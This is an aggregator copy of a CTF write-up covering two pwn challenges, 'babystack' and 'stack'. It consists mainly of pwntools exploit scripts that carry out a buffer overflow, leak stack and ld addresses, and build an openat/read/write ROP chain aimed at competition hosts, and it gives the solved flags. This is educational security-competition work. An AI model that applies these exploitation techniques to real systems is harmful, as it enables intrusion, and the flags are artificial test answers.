惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

N
Netflix TechBlog - Medium
G
Google Developers Blog
H
Hackread – Cybersecurity News, Data Breaches, AI and More
T
The Blog of Author Tim Ferriss
Microsoft Azure Blog
Microsoft Azure Blog
GbyAI
GbyAI
L
LangChain Blog
云风的 BLOG
云风的 BLOG
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
aimingoo的专栏
aimingoo的专栏
P
Proofpoint News Feed
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
小众软件
小众软件
WordPress大学
WordPress大学
A
About on SuperTechFans
大猫的无限游戏
大猫的无限游戏
C
Check Point Blog
月光博客
月光博客
Stack Overflow Blog
Stack Overflow Blog
美团技术团队
Jina AI
Jina AI
T
Tailwind CSS Blog
Google DeepMind News
Google DeepMind News
D
Docker

Entropic

Inspect: Read the Bits :: Entropic NETGEAR EXS27 NGR LAN-side Pre-auth Command Injection in llmnrd via LLMNR Query Name :: Entropic ANSI Ink for Philes :: Entropic NETGEAR EXS27 NGR Pre-auth Administrator Takeover Chained to Root SSH Shell via Configuration Restore :: Entropic NETGEAR EXS27 NGR Pre-auth debug.cgi Archive Sensitive Information Disclosure :: Entropic Let's Decrypt NETGEAR EXS27 NGR Firmware V1.0.1.34! :: Entropic NETGEAR EXS27 NGR Local-LAN/L2 Pre-auth Command Injection in Root-started devProbe via DHCP Option 12 Hostname :: Entropic CVE-2017-9048: libxml2 :: Entropic CVE-2016-9297: LibTIFF :: Entropic CVE-2017-13028: TCPdump :: Entropic Fuzz two legacy CVEs in libexif :: Entropic CVE-2019-13288: Xpdf :: Entropic The Fuzzy Notebook :: Entropic Write-ups: Pwnable.tw :: Entropic Write-ups: System Security (Microarchitecture Exploitation) series :: Entropic Intel Control-flow Enforcement Technology Bypass :: Entropic Write-ups: 0xL4ugh CTF v5 :: Entropic 此地不宜调试 :: Entropic 梅花易数札记 :: Entropic Write-ups: ARM Architecture (ARM64 ROP) series :: Entropic The Cross-ISAs Notebook :: Entropic 2025 年终总结 :: Entropic Write-ups: System Security (Kernel Security) series (Completed) :: Entropic Write-ups: BlackHat MEA CTF Final 2025 :: Entropic Write-ups: Software Exploitation (Exploitation Primitives) series (Completed) :: Entropic Sapido RB-1732 路由器 RCE 漏洞 :: Entropic Write-ups: Software Exploitation (File Struct Exploits) series (Completed) :: Entropic Write-ups: 第九届「强网杯」全国网络安全挑战赛 :: Entropic Write-ups: Software Exploitation (Dynamic Allocator Exploitation) series (Completed) :: Entropic Write-ups: 2025 年「羊城杯」网络安全大赛初赛 [本科院校组] :: Entropic
Write-ups: 第八届「强网」拟态防御国际精英挑战赛-线上预选...
CuB3y0nd · 2025-10-25 · via Entropic
# babystack

## Information

- Category: Pwn
- Points: 500

## Description

>  shell <br/>
> Get your own shell

## Write-up



## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "./babystack"
HOST, PORT = "pwn-10ba42cde6.challenge.xctf.org.cn", 9999

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    payload = flat(
        b"A" * 24,
    )
    target.sendafter(b"flag1:", payload)
    payload = flat(
        b"B" * 0xF8,
        0x1337ABC,
    )
    raw_input("DEBUG")
    target.sendlineafter(b"flag2:", payload)

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`flag{W528uZdUsvWbiWxqon5YLvZa8x6uo8IP}`]

# stack

## Information

- Category: Pwn
- Points: 500

## Description

>  libc<br/>
> I don't need libc, and I guess you don't need it either

## Write-up

~~ description ld……~~

`printf` 使 rbp 

```asm showLineNumbers=false {26-27}
; Attributes: bp-based frame

; int sub_401354()
sub_401354 proc near

s= byte ptr -10h

; __unwind {
endbr64
push    rbp
mov     rbp, rsp
sub     rsp, 10h
lea     rax, [rbp+s]
mov     edx, 10h        ; n
mov     esi, 0          ; c
mov     rdi, rax        ; s
call    _memset
lea     rax, aCouldYouTellMe ; "Could you tell me your name?"
mov     rdi, rax        ; s
call    _puts
lea     rax, [rbp+s]
mov     edx, 18h        ; nbytes
mov     rsi, rax        ; buf
mov     edi, 0          ; fd
call    _read
lea     rax, [rbp+s]
mov     rsi, rax
lea     rax, format     ; "Hello, %s!n"
mov     rdi, rax        ; format
mov     eax, 0
call    _printf
nop
leave
retn
; } // starts at 401354
sub_401354 endp
```

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "./pwn_patched"
HOST, PORT = "pwn-2229eb847f.challenge.xctf.org.cn", 9999

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT, ssl=True)


def main():
    launch()

    # raw_input("DEBUG")
    target.sendafter(b"name?", b"A" * 0x10)
    target.recvuntil(b"A" * 0x10)
    stack = int.from_bytes(target.recv(0x6), "little")
    ld = stack + 0xC0
    ret = stack + 0x20
    target.success(f"stack: {hex(stack)}")

    payload = flat(
        b"A" * 0x60,
        ret + 0x60,
        0x4013D4,  # read
    )
    # raw_input("DEBUG")
    target.sendafter(b"Any thing else?", payload)

    payload = flat(
        0x401413,  # main
        b"A" * 0x58,
        ld + 0x10,
        0x40139B,  # printf
    )
    target.sendline(payload)
    target.recvuntil(b"Hello, ")
    leaked_ld = int.from_bytes(target.recv(0x6), "little") - 0x3B2E0
    target.success(f"libc: {hex(leaked_ld)}")

    target.sendlineafter(b"name?", b"")

    flag = stack - 0xA0
    payload = flat(
        b"./flagx00x00",
        b"A" * 0x60,
        # openat
        leaked_ld + 0x25E6B,  # pop rdi; ret
        -100,
        leaked_ld + 0x54DA,  # pop rsi; ret
        flag,
        leaked_ld + 0x20322,  # pop rax; pop rdx; pop rbx; ret
        0x101,
        0,
        0,
        leaked_ld + 0x16629,  # syscall; ret
        # read
        leaked_ld + 0x25E6B,  # pop rdi; ret
        0x3,
        leaked_ld + 0x54DA,  # pop rsi; ret
        elf.bss() + 0x500,
        leaked_ld + 0x20322,  # pop rax; pop rdx; pop rbx; ret
        0,
        0x1337,
        0,
        leaked_ld + 0x16629,  # syscall; ret
        # write
        leaked_ld + 0x25E6B,  # pop rdi; ret
        0x1,
        leaked_ld + 0x54DA,  # pop rsi; ret
        elf.bss() + 0x500,
        leaked_ld + 0x20322,  # pop rax; pop rdx; pop rbx; ret
        1,
        0x1337,
        0,
        leaked_ld + 0x16629,  # syscall; ret
    )
    raw_input("DEBUG")
    target.sendafter(b"Any thing else?", payload)

    target.interactive()


if __name__ == "__main__":
    main()
```

## Flag

:spoiler[`flag{nfRlSH0ll0o4j4kd05IA6NJWtO8DYYSk}`]